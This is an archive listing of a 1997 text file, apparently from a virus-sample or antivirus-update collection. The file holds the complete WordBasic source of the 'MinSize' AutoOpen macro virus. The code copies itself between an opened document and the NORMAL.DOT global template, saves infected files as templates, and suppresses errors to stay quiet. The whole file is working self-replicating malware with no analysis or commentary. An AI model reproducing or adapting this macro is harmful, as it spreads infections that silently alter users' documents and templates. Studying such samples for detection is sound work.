home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / MINSIZE.ZIP / MINSIZE.TXT < prev   
Text File  |  1997-01-16  |  283b  |  16 lines
  1. Macro: AutoOpen
  2.  
  3. Sub MAIN
  4. On Error Goto MinSize
  5. F$ = FileName$() + ":AutoOpen"
  6. G$ = "Global:AutoOpen"
  7. M$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
  8. If M$ = "NORMAL.DOT" Then
  9. MacroCopy G$, F$
  10. FileSaveAs .Format = 1
  11. Else
  12. MacroCopy F$, G$
  13. EndIf
  14. MinSize:
  15. End Sub
  16.